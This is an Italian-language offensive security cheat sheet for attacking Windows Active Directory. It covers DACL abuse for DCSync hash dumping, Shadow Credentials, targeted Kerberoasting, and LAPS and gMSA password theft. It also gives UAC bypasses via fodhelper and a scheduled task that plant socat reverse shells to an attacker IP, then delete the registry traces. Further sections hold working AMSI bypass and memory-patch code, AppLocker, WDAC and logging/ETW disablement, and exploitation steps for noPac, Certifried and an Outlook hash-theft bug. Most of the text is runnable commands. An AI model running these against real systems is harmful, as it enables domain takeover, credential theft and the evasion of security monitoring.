Viene sfruttata il privilegio di poter editare la DACL, crei un user, lo aggiungiamo ai gruppi "Remote Management Users" per controllare l'utente a distanza, al gruppo "Exchange Windows Permissions" gruppo dell'Active Directory che permette di modificare i permessi di dominio, infine importiamo powerView e tramite il comando "Add-DomainObjectAcl" con "-rights" DCSync potremmo dumpare tutti gli hash di dominio con secretsdump.

New-LocalUser <nome_account> -Password (echo "<password>" | convertTo-SecureString -AsPlainText -force) -FullName "<nome_completo>" -Description "<descrizione>"

Add-localGroupMember -Group "Remote Management Users" -member tester4

Add-localGroupMember -Group "Exchange Windows Permissions" -Member <nome_utente>

Questo comando aggiunge un ACL oggetto all'ACL list per un utente a dominio con diritti DSync che permettono di dumpare tutti gli hash a dominio:

Add-DomainObjectAcl -targetidentity "DC=<subdomain>, DC=<top_level_domain>" -principalidentity <nome_utente> -Rights DCSync -verbose

WriteProperties:

Le Ace seguenti fanno parte delle WriteProperties cioè quelle ACE che danno permessi di scrittura e modifica sugli oggetti

Shadow Credentials:

Shadow Credentials è una tecnica che permette di modificare l'attributo "msDS-KeyCredentialLink" che contiene delle chiavi pubbliche in questo modo possiamo tecniche molteplici come privilege escalation o persistence

Requisiti:

Essere a dominio che supporta il PKINIT (Public Key Cryptography for Initial Authentication) e che il DC sia una versione di windows server 2016 in su
Il DC deve avere la sua coppia di chiave per stabilire le sessioni
Avere un utente che abbia i permessi necessari a modificare l'attributo

Comandi: Dalla nostra machine possiamo utilizzare uno script python chiamato pywhisker

pywhisker.py -d <nome dominio>" -u "<nome utente>" -p "<password>" --target "<nome sam target>" --action "add"

Avendo accesso alla macchina windows vittima possiamo utilizzare Whisker.exe

Whisker.exe add /target:<computer target>$ #comando di whisker per aggiungere un certificato pubblico malevolo

Whisker ci dirà persino il comando di rubeus per recuperare le credenziali

Rubeus.exe asktgt /user:<computer target>$ /certificate:<certificato> /password:"<password>" /domain:<nome dominio> /dc:DC.<nome dominio> /getcredentials /show /ptt

Targeted Kerberoasting:

Questa tipologia di tecnica permette di aggiungere un SPN (Service Principal Name) ad un utente per poi renderlo vulnerabile al Kerberoasting il tutto è possibile se si hanno i permessi GenericAll, GenericWrite, WriteProperties o Validated-SPN

Comandi:

Dalla nostra machine è possibile utilizzare un python script chiamato targetedKerberoast

git clone https://github.com/ShutdownRepo/targetedKerberoast
cd targetedKerberoast
python3 -m pip install -r requirements.txt #comandi per installare lo script python

python3 targetedKerberoast.py -v -d <nome dominio> -u <nome utente> -p <password> --request-user <nome utente target> --dc-ip <ip> #comando che aggiunge SPN e recupera l'hash

Avendo invece accesso alla macchina target, possiamo utilizzare PowerView:

Set-ExecutionPolicy Bypass -Scope CurrentUser -Force #comando per bypassare la execution policy

Import-Module .\PowerView.ps1 #comando per importare il modulo di powerview

Set-DomainObject -Identity <nome utente> -Set @{serviceprincipalname='<nome dominio>/<nome finto>'} -Verbose #comando powerview per impostare SPN all'utente target

$Usersaved = Get-DomainUser <nome utente>
$Usersaved | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash #comandi powerview per recuperare l'hash

Set-DomainObject -Identity <nome utente> -Clear serviceprincipalname -Verbose #comando powerview per ripulire SPN

GenericWrite:

ACE che permette di modificare campi non sicuri di un oggetto tipo il parametro ScriptPath

AllExtendedRights:

Negli AllExtendedRights rientrano quelle ACE che danno permessi come poter aggiungere membri, modificare la password di utenti, leggere le LAPS password e ecc...

AddMember:

AddMember viene utilizzato per aggiungere membri ad un gruppo e può essere utilizzato per un Privilege escalation più complesso

Comandi:

Add-ADGroupMember "<nome gruppo>" -Members "<nome utente>" #comando per aggiungere ad un gruppo il membro specificato

Get-ADGroupMember -Identity "<nome gruppo>" #comando per vedere i membri al gruppo

ForceChangePassword:

ACE che ci permette di modificare la password dell'user corrente senza la necessità di dover conoscere la password vecchia

Comandi:

$Password = ConvertTo-SecureString "<password>" -AsPlainText -Force 
Set-ADAccountPassword -Identity "<nome utente>" -Reset -NewPassword $Password #comandi per settare una nuova password

ReadLAPSPassword:

Abbiamo la possibilità di leggere le password del LAPS se abbiamo i diritti GenericAll, AllExtendeRights, GetChangesAll o (GetChangesAll + GetChangesInFilteredSet)

Comandi:

dalla nostra machine cioè da remoto possiamo utilizzare pyLaps, CrackMapExec o Impacket:

pyLAPS.py --action get -d <nome dominio> -u <nome utente> -p <password> --dc-ip <ip> #comando di pylaps per dumpare LAPS

crackmapexec ldap <nome dominio o ip> -u '<nome utente>' -p '<passwor>' --module laps #comando di crackmapexec per dumpare LAPS

ntlmrelayx.py -t ldaps://<ip> <dominio>/<utente> --dump-laps #comando di impacket per dumpare LAPS

Invece se si ha accesso ad una macchina windows vittima è possibile tentare questa metodologia nella sezione credenziali di privilege escalation

ReadGMSAPassword:

Il GMSA (group Managed Service Account), è un utente di servizio ("N.B: non è un gruppo") utilizzato per la gestione delle password e aggiunge la capacità di utilizzare questo stesso account di servizio su più sistemi (va specificato su quali servizi e computer possa essere utilizzato)

N.B: il gMSA di solito è un account con credenziali più robuste in quanto per policy ha una rotazione predefinita della password e criteri più restringenti

Comandi:

Disponendo di un utente che possa leggere le password di GMSA possiamo utilizzare Impacket

gMSADumper.py -u <nome utente> -p <password> -d <dominio> #comando che dumpa le credenziali gMSA

Altrettanto possiamo fare se abbiamo i permessi di modifica su GMSA tramite il modulo DSinternals

Install-Module DSInternals -Force #comando per installare il modulo

Import-Module DSInternals #comando per importare il modulo

$gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount <nome account> -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword') #comando per recuperare la password

ConvertTo-NTHash $gMSA.SecureCurrentPassword #comando per convertire la password in NTLM e utilizzarlo per il pass-the-hash

Infine se vogliamo automatizzare il tutto possiamo utilizzare l'eseguibile GMSAPasswordReader (va compilato)

GMSAPasswordReader.exe --AccountName '<nome utente>' #comando per avviare l'eseguibile

N.B: Ovvio che per dumpare bisogna avere permessi per modificare gMSA o avere dei permessi per leggere le sue password

DCSync:

Consiste nel simulare il comportamento di un domain controller e poter recuperare le password di altri utenti tramite replicazione di dominio per effettuare l'attacco abbiamo bisogno prima di tutto di verificare che l'utente target abbia i diritti richiesti "Replicating Directory Changes" e " Replicating Directory Changes All permissions", viene in nostro aiuto il tool Powerview

N.B: Bisogna disporre delle credenziali giuste dell'utente target

Comandi:

Get-DomainUser -Identity <utente target> | fl #comando per recuperare sid target e DN

$sid= "<sid recuperato>"
Get-ObjectAcl "<DN target>" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl #comando di powerview per verificare di avere i privilegi necessari

Orq possiamo procedere in due maniere, la prima è con "secretsdump.py" di impacket

secretsdump.py -outputfile <nome output file> -just-dc <dominio>/<utente target>@<ip domain controller> #comando per dumpare tutte le password

La seconda è con mimikatz se disponibile nella macchina vittima

runas /netonly /user:<dominio>\<utente target> powershell #comando che tramite runas avvia una nuova shell con l'utente target

mimikatz lsadump::dcsync /domain:<nome dominio> /user:<nome utente> #comando che esegue il dcsync su un utente

mimikatz lsadump::dcsync /domain:<nome dominio> /all #comando che esegue il dcsync su tutti gli utenti

WriteOwner:

ACE molto potente che permette di poter cambiare l'owner di un oggetto

Comandi:

Set-DomainObjectOwner -Identity <SID gruppo> -OwnerIdentity "<nome utente>" -Verbose #comando per cambiare proprietario

Bypass:

Bypass UAC:

Per sapere cos'è l'UAC e come funziona andare qui

Nella seguente sezione vengono allegati dei casi di compromissione per far capire meglio la logica dietro al bypass e come funziona l'UAC

Caso di compromissione GUI:

msconfig.exe:

cliccando tasto windows+R, scrivendo e aprendo msconfig e infine aprendo processhacker potremmo notare che msconfig runna con un high token, grazie alla sua autoelevation apre direttamente il programma con i più alti privilegi e se andiamo nella sezione tools del programma, cerchiamo command prompt potremmo ottenere una shell con permessi elevati.

azman.msc (vecchia utility winserver 2003 utilizzata per gestire i permessi):

aprendo esegui, avviando azman.msc anche esso avrà l'autoelevation che quindi utilizzerà un high IL, andando poi su "help o ?" cliccando su guida e poi continuando con un click destro e selezionando "HTML o source code" potremmo notare che si aprir# notepad.exe, ora basterà semplicemente cercare l'eseguibile cmd.exe per avere la nostra shell con privilegi alti.

mmc.exe:

Funziona anche con mmc.exe anche esso avrà l'autoelevation che quindi utilizzerà un high IL, andando poi su "help o ?" cliccando su guida e poi continuando con un click destro e selezionando "HTML o source code" potremmo notare che si aprir# notepad.exe, ora basterà semplicemente cercare l'eseguibile cmd.exe per avere la nostra shell con privilegi alti.

Caso di compromissione AutoElevation:

fodhelper (executable di windows per le lingue):

Avviando possiamo notare che avrà un IL high, usando procmon.exe possiamo osservare che il sistema operativo va a ricercare quale software utilizzare per aprire fodhelper questo perchè nei sistemi operativi Windows esiste il ProgID cioè ad un'estensione è associata un programma di default ed è specificato in genere all'interno della chiave HKEY_CLASSES_ROOT che è un'insieme delle chiavi (HKCU e HKEY). Nell'exploit possiamo notare che nella HKCU, più precisamente nella subykey con questo path "shell/open/command" è dove viene anche specificato il ProgID possiamo bypassare la system wide association(data un estensione tipo .txt, utilizziamo programma/i di default) andando ad inserire una revshell nella subkey, cosi facendo otteremo una shell privilegiata perchè lo stesso programma è avviato con IL high:

N.B: è importante almeno essere nel gruppo amministratori per poter editare i registri.

Comandi:

net user <nome utente> | find "Local Group" #comando per vedere il gruppo di appartenenza

whoami /groups | find "Label" #comando per capire il proprio IL

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command #settare una variabile d'ambiente con il path specificato

set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ip>:<porta> EXEC:cmd.exe,pipes" #comando che crea una variabile d'ambiente che crea al suo interno un socat per la revshell

reg add %REG_KEY% /v "DelegateExecute" /d "" /f #viene aggiunta la chiave di registro.
/v #specifica il nome 
/d #i dati all'interno
/f #force per evitare ogni prompt di conferma

reg add %REG_KEY% /d %CMD% /f #comando per inserire la revshell

nc -lnvp <port> #comando per aprire listener sulla nostra macchine

fodhelper.exe #comando per avviare l'eseguibile

reg delete HKCU\Software\Classes\ms-settings\ /f #comando per eliminare e quindi pulire le tracce

Dopo aver fatto tutti i comandi ed infine avviato l'eseguibile e se avremmo anche aperto un listener dovremmo ottenere la revshell con un IL high.

fodhelper con AV attivo:

abbiamo l'AV attivo bene per bypassare l'antivirus viene messa appunto una strategia efficare tramite l'utilizzo di Curver entry(Curver entry è utilizzato quando si hanno più istanze di uno stesso software ma di diverse versioni, curver permette a Windows di utilizzare la versione di default).

set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ip>:<port> EXEC:cmd.exe,pipes" #comando per la revshell

reg add "HKCU\Software\Classes\.lhr\Shell\Open\command" /d %CMD% /f #creiamo la subkey .lhr con all'interno la revshell

reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".lhr" /f #creiamo la subkey curver che punta alla subkey .lhr contenente la revshell

nc -lnvp <port> #creiamo il listener

fodhelper.exe #startiamo l'eseguibile

Abbiamo ottenuto la revshell con IL high anche se attivo l'antivirus

Possono sorgere dei problemi se nelle UAC settings è attiva l'opzione Always Notify perchè ogni modifica deve essere autorizzata esempio l'exploit di fodhelper però c'è ancora un modo per bypassare UAC è tramite gli scheduler task, che sono avviati da utenti normali ma eseguiti con privilegi d' amministratore e il tampering di variabili d'ambiente.

Bypass tramite scheduler:

DiskCleanup:

Andando a visionare lo scheduler task e cercano il DiskCleanup possiamo notare che ogni utente può utilizzarlo e verrà eseguito con privilegi di amministratore N.B (la voce "Run with highest privileges" eredita IL da chi lo avvia quindi da un utente non-admin avrà IL medium). Andando poi nella sezione "Actions" possiamo notare che runna il programma tramite comando CMD e fin qui tutto normale, tranne per le variabili d'ambiente che possono essere modificate a nostro vantaggio.

Comandi:

reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:<ip>:<port> EXEC:cmd.exe,pipes &REM" /f
#crea una subkey con nome windir che simula la variabile d'ambiente %windir% e che poi ha al suo interno una revshell il $REM serve a commentare il resto

nc -lnvp <port> #comando per il listener

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I #avvia il task con la revshell

reg delete "HKCU\Environment" /v "windir" /f #comando per eliminare la subkey creata in precendenza

Comandi Generali:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA #comando per sapere se attivo UAC

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin #comando per sapere il livello di UAC

[environment]::OSVersion.Version #comando per capire la build di windows

Il comando per capire la build è importante, in quanto molte di esse sono affette da un UAC bypass, dopo aver visionata la build va visionata questa pagina(Cross-Reference di windows 10 ma esiste anche di windows 11) per capire la release, dopo aver visionato la release consiglio questa repo(cliccare la voce "keys") che contiene molti bypass da poter utilizzare

Bypass AMSI:

Lascio qui il link dove viene spiegato cos'è l'AMSI

Powershell Downgrade:

Il powershell downgrade consiste nel passare a una versione meno recente di powershell per evitare quelle features di sicurezza introdotte nella versioni più recenti.

N.B: Le feature sono state introdotte nella versione 5.0 di powershell

Comandi:

powershell -Version <numero versione> #comando per cambiare versione

Questo tipo di bypass funziona se presente l'engine delle versione meno recenti di powershell, è inoltre possibile utilizzare il tool Unicorn per automatizzare il tutto

Powershell obfuscato:

Abbiamo la possibilità tramite del powershell obfuscato di bypassare l'AMSI

Comandi:

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)

Powershell riflesso:

Consiste nell'utilizzare lo stesso powershell per disattivare l'AMSI

Comandi:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') #linea di codice che recupererà il tipo di assembly utilizzato dalla shell corrente, [Ref] indica di passare un valore ad un'altra funzione

.GetField('amsiInitFailed','NonPublic,Static') #linea di codice che recupererà il campo amsiInitFailed e lo setta statico e non pubblico

.SetValue($null,$true) #linea che setta il campo amsiInitfailed a true

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) #linea di codice completa

Patching:

Analizzando il codice è possibile sovrascrivere la zona di memoria della funzione "AmsiScanBuffer", in modo che analizzi quello che vogliamo

Codice:

[DllImport(`"kernel32`")] 
public static extern IntPtr GetProcAddress( 
IntPtr hModule, #handle della DLL
string procName #nome della variabile o funzione
); 

[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(
string lpModuleName #modulo per ottenere l'handl
);

[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
IntPtr lpAddress, #indirizzo regione
UIntPtr dwSize, #grandezza
uint flNewProtect, #opzioni protezione
out uint lpflOldProtect #puntatore alle vecchio protezioni
); #definizione dell'API Kernel32 con i relativi metodi

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; #comando per caricare le API call

$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); #array di byte spazzatura da scrivere

$handle = [Win32.Kernel32]::GetModuleHandle(
	 'amsi.dll' #definzione da dove prendere l'handle
);

[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress(
      $handle, #varibile handle di amsi.dll
      'AmsiScanBuffer' #API call da prendere
); 

[UInt32]$Size = 0x5; #variabile che stora la grandezza
[UInt32]$ProtectFlag = 0x40; #read and write page
[UInt32]$OldProtectFlag = 0; 
[Win32.Kernel32]::VirtualProtect(
  $BufferAddress, #puntatore alla funzione AmsiScaneBuffer 
  $Size, #grandezza
  $ProtectFlag, #attivazione read and write
  [Ref]$OldProtectFlag
); 

[system.runtime.interopservices.marshal]::copy(
  $buf, #byte da scrivere
  0, #da dove iniziare a scrivere
  $BufferAddress, #indirizzo di memoria da dove scrivere
  6 #numeri elementi da scrivere
);

N.B: non è scontato da sottolineare che questo snippet di codice è già segnato da molti antivirus e EDR, per utilizzarlo si può considerare di obfuscarlo o encodarlo, alcune informazioni è possibile visionarle nella sezione shellcode

Tool e repository:

Esistono come al solito dei tool per automatizzare il processo quali:

Bypass Applocker:

Teoria Applocker disponibile qui

Comandi:

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections #comando per listare le policy di applocker

Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone #comando per testare una policy di applocker su un determinato eseguibile

Cartelle in Whitelist:

Vi è la possibilità che alcune cartelle non siano in blacklist, quindi basterà semplicemente copiare o spostare l'eseguibile in codeste posizioni

ES: C:\Windows\System32\spool\drivers\color

Bypass WDAC:

Se si vuole sapere cos'è il WDAC andare qui

Comandi:

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard #comando per listare le opzioni del WDAC, si capisce se attivo alla voce UserModeCodeIntegrityPolicyEnforcementStatus settato a 2

IL WDAC se settato tramite GPO localmente è possibile disattivarlo eliminando il file con estensione ".p7b"

ls C:\Windows\system32\CodeIntegrity #comando per verificare la presenza della signed policy di estensione .p7b

Bypass Constrained Language Mode:

Teoria del Constrained Language Mode qui:

Comandi:

$ExecutionContext.SessionState.LanguageMode #comando per ottenere l'impostazione del constrained language mode

$ExecutionContext.SessionState.LanguageMode = "<valore>" #comando per cambiarne il valore

invece se vogliamo applicare le modifiche a tutte le shell di powershell che verannò create bastano un semplice comando:

notepad $profile #comando che crea un file profile dove poi inseriamo il valore del constrained che vogliamo

.hta:

Una metodologia di bypass sono i file .hta (HTML Application), questo tipo di estensione permette l'utilizzo di altri linguaggi tipo vbscript e può essere utilizzato per ottenere una shell anche se non possiamo utlizzare powershell

Funzionamento:

Creiamo un nuovo file di testo ed incolliamo il seguente codice:

<script LANGUAGE="VBScript">
Set cmd = CreateObject("WScript.Shell") 
cmd.run("<comando da eseguire>")
</script> #script che permette di eseguire comandi

Cambiamo il nome dell'estensione .hta e apriamo il file con "Host Applicazioni HTMl Microsoft (R)"

PSLockdownPolicy:

_La "PSLockdownPolicy" è una variabile di policy che se disattiva permette il bypass del constrained language mode, bisognerà controllare la seguente path "hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment_PSLockdownPolicy" se settato a 4 è attivo invece se a 8 è disattivato

Bypass Logging:

Quando dobbiamo bypassare un sistema di logging in windows bisogna tenere conto di "ETW (Event Tracing for Windows)", una tecnologia di tracciamento che raccoglie gli eventi

N.B: per sapere come funzionano i Log in windows andare qui

Funzionamento ETW:

Il sistema ETW è composto da 3 componenti:

Controllers = costruiscono e gestiscono le sessioni cioè sono quelli che decidono come e dove i dati devono andare
Consumers = interpretano gli eventi, visiona ogni sessione e cataloga gli eventi
Providers = forniscono gli eventi, a seconda del loro provider

I providers si dividono in 4 tipologie:

I) MOF (Managed Object Format) = definisce gli eventi dalle classi MOF e più in generale il MOF definisce pure la struttura degli oggetti gestiti in windows

II) WPP (Windows Software Trace Preprocessor) = strumento di diagnostica che insieme a TMF (Trace Message Format) permette di generare e formattare per bene tracce di debug

III) Manifest-Based = definisce gli eventi dai manifest delle applicazioni

IV) TraceLogging = API di ETW che permette di registrare degli eventi

Ricapitolando il funziomento generale:

/Providers/ ---eventi---> |sessione 1, sessione 2 ecc... gestite dal /controller/ -------> /Consumers/

Ora che conosciamo le 3 componenti, vi sono dei metodi per bypassarli

Providers:

Modifica del PSEtwLogProvider:

Gli ETW provider sono caricati in sessione dall'assembler .NET di nome "PSEtwLogProvider", visto che l'assembler ha lo stesso livello di privilegio della sessione possiamo modificarlo tramite powershell riflesso (esempio quasi analogo nel bypass dell'AMSI che trovi qui)

Comandi:

$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') #pezzo di codice per ottenere l'assembler

$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null) #pezzo di codice per ottenere un $null valore dal field etwprovider

[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0); #passo per settare m_enabled $null

$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') 
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null) 
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
#codice completo che disattiva il provider

Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count #comando che runnato prima dello script darà un 
numero ma una volta runnato il codice completo il count cioè l'eventi si fermerà ad uno stesso numero perchè il provider sarà bloccato

GPO (Group Policy Object):

ETW ha diverse features che coprono diverse tipologie di logging ma non tutte sono attive, per attivarle o disattivarle bisogna andare nelle GPO (Group policy object) che fa parte del group policy management; abbiamo la possibilità di modificarle perchè gli assembler sono caricati nella stessa sessione dell'utente, quindi un user normale ha gli stessi privilegi e tramite del powershell riflesso puà apportare modifiche

Codice:

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
#variabile che recupera il campo cachedGroupPolicySettings

$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null) #varibile che recupera un valore nullo

$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0 #riga di codice che disabilità l'EventID num 4103

$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0 #riga di codice che disabilita l'EventID num 4104

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0 r
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0 #codice completo

Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count #comando che runnato prima dello script darà un 
numero ma una volta runnato il codice completo il count cioè l'eventi si fermerà ad uno stesso numero perchè il provider sarà bloccato

Log Pipeline:

Log pipeline consiste nel disattivare la voce "LogPipelineExecutionDetails" che se settato a "$false" non creerà più log dei comandi

Comandi:

$module = Get-Module Microsoft.PowerShell.Utility #comando per prendere il modulo target
$module.LogPipelineExecutionDetails = $false #comando per disattivare il logpipeline

$snap = Get-PSSnapin Microsoft.PowerShell.Core #comando che prende il powershell snap-in target
$snap.LogPipelineExecutionDetails = $false #ìcomando per disattivare il logpipeline

Controller:

Patching di EtwEventWrite:

Il patching di EtwEventWrite consiste nel modificare il suo return point e inserire un nostro codice

Codice:

var ntdll = Win32.LoadLibrary("ntdll.dll"); #DLL che svolge operazioni a basso livello in questo caso la funzione etwevenwrite e all'interno della dll
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite"); #riga di codice che recupera l'handle

uint oldProtect; #intero che stora il valore esadecimale dei vecchi diritti cioè R (Read), W (Write) o X (Execute)
Win32.VirtualProtect(
 etwFunction, #variabile con l'indirizzo alla funzione EtwEventWrite
 (UIntPtr)patch.Length, #lunghezza della regione di memoria che si desidera modificare
 0x40, #cambio dei permessi in Read e Write
 out oldProtect #vecchi permessi in caso debbano essere ripristinati
);

patch(new byte[] { 0xc2, 0x14, 0x00 }); #creazione di un array di byte con 3 valori
Marshal.Copy( #metodo marshal copy che copia l'array in un indirizzo di memoria
 patch, #array da copiare
 0, #num indice iniziale dell'array di byte
 etwEventSend, #indirizzo dove copiare i dati 
 patch.Length #lunghezza dei dati da copiare
);

VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect); #funzione che ripristina i vecchi permessi

Win32.FlushInstructionCache( #funzione che garantisce che le modifiche alla memoria siano applicate
 etwFunction,
 NULL #dimensione da pulire
);

CVE:

Nella sezione CVE non è umanamente possibile scriverle tutte ma ne verrannò presentate e spiegate alcune per imparare ulteriori nozioni e componenti che fanno parte dell'Active Directory.

CVE-2021-42278/CVE-2021-42287 (noPac):

La prima CVE la 2021-42278 sfruttava la possibilità di un utente autenticato di poter aggiungere fino a 10 computer all'interno dell'AD ma la peculiarità era nel nome dato ad essi infatti era possibile chiamare una macchina aggiunta con lo stesso nome di un domain controller account mentre adesso va aggiunto il simbolo "$" alla fine. La seconda CVE la 2021-42287 faceva leva sul PAC (Privilege Attribute Certificate) una feature del kerberos che contiene informazioni utili di un utente privilegiato, quando viene eseguita la prima CVE il PAC stesso verrà aggiunto al TGT generato e permetterà in un secondo momento di autenticarsi verso altri sistemi

N.B: Inutile dire che servano delle credenziali valide per portare a termine l'attacco

POC:

noPac

CVE-2021-1675/CVE-2021-34527 (PrintNightmare):

Le due CVE ricadono nella vulnerabilità chiamata "Windows Print Spooler Remote Code Execution Vulnerability", ed entrambe utilizzano il "Print Spooler" però differiscono, la "CVE-2021-1675" richiede di avere accesso fisico o locale alla macchina per poter utilizzare la DLL malevola mentre la "CVE-2021-34527" può iniettare la DLL malevola da remoto

N.B: Possono anche essere utilizzate per un local privilege escalation

POC:

CVE-2021-1675/CVE-2021-34527, link alla POC
CVE-2021-1675, link ad un'altra POC per il local privilege escalation

CVE-2022-26923: (Vulnerabilità sui certificati dell'AD)

La vulnerabilità sfrutta la misconfigurazione dei certificati nell'AD e la possibilità che un utente può aggiungere fino a 10 macchine al gruppo machine dell'active directory; esitono 2 template quello User e quello machine, lo User non è sfruttabile in quanto non possiamo modificare i parametri del UPN (User Principal Name) che si trova dentro al SAN (Subjec ALternative Name) invece nel template machine, dopo aver aggiunto un nuova macchina al gruppo dei computer possiamo generare un certificato in cui cambiamo il DNS hostname con quello del domain controller e ottenere NTLM Hash.

Comandi:

. ./Certify.exe find /vulnerable #comando per verificare se vulnerabile

sudo certipy-ad req -u '<username/nome_pc>@<dominio>' -p '<password>' -dc-ip <ip_del_domain_controller> -template <tipo_di_certificato> -ca <dominio_certificate_autority> #comando per generare un certificato se selezionamo il template machine, al computer aggiunto va scritto un $ alla fine del nome

certipy-ad auth -pfx <file configurazione>.pfx #comando che fa la convalida del certificato interrogando il kerberos e prova a recuperare NTLM hash dell'account con impacket

N.B: Molte volte accade che vi siano problemi di fuso orario con il domain controller e quindi dobbiamo sincronizzarci

Comandi per risolvere:

sudo apt install systemd-timesyncd
timedatectl set-ntp true
sudo timedatectl set-ntp 0
sudo ntpdate -u <dominio target> && date #comandi per modificare il fuso orario

sudo ntpdate 0.debian.pool.ntp.org
sudo hwclock --systohc
sudo systemctl enable --now systemd-timesyncd
sudo timedatectl set-ntp true #comandi per ritornare al fuso orario corretto

Comandi powershell per modificare le proprietà di un computer nell'AD:

addcomputer.py '<dominio>/<username>:<password>' -method LDAPS -computer-name '<nome_da_scegliere>' -computer-pass '<password_da_scegliere>'
#aggiungere il computer al gruppo della machine di active directory

Get-ADComputer <nome computer> -properties dnshostname,serviceprincipalname

Set-ADComputer <nome computer> -ServicePrincipalName @{}#importante rendere vuoto SPN perchè entra in conflitto con quello dell'active directory

Set-ADComputer <nome dominio> -DnsHostName <nome completo del dominio> #comando per modificare l'hostname

Rigenerare il certificato di template machine e tramite Certipy auth prendere NTLM hash e il gioco è fatt0.

Certificati AD:

"AD CS" (Active Directory Certificate Services) è il servizio che si occupa di gestire i certificati, è molto utile in quanto per tutti i computer, servizi all'interno dell'AD si occupa lui stesso di essere il loro "CA" (Certificate Authority), ha anche il compito di creare dei "Certificate template" i quali indicano chi utente e con quali determinati permessi può richiedere un certificato ed infine si occupa di criptare i file systems, creare e verificare le firme digitali. I certificati hanno una peculiarità che li rende interessati che anche se ad un account compromesso viene cambiata la password loro non ne vengono intaccati, potendo cosi permettere la persistence(al seguente link è spiegato un metodo di persistenza) nel sistema windows

Funzionamento:

l'user genera la coppia chiave pubblica e privata
l'user invia la certificate request alla CA
controllo del certificate template e dei permessi
esito positivo, generazione del certificato e firma con la chiave privata del CA
l'user lo registra nel sistema windows e lo utilizzerà quando ne avrà bisogno

CVE-2023-23397 (Outlook):

La seguente vulnerabilità impatta Outlook installato sul pc e non OWA (Outlook Web App) e Microsoft 365, la criticità è alta perchè tramite un email infetta permette di ricavare il Net-NTLMv2 hashes di un utente. La vulnerabilità consiste nel creare un invito malevolo del calendario che ha tre parametri modificati da noi: i primi due sono "PidLidReminderOverride" e "PidLidReminderPlaySound" settati a true in modo che l'audio della nostra email abbia la precendenza e che l'audio venga avviato subito il terzo parametro è il "PidLidReminderFileParameter" a questo parametro inseriamo un nostro "UNC (Universal Naming Convention)" che punta ad uno nostro file online condiviso per esempio tramite SMB, questo farà scattare la NTLM autenticazione e il relativo stealing dell'hash

Comandi:

responder -I <interfaccia di rete> #comando che avvia dalla nostra machine responder per la cattura dell'hash

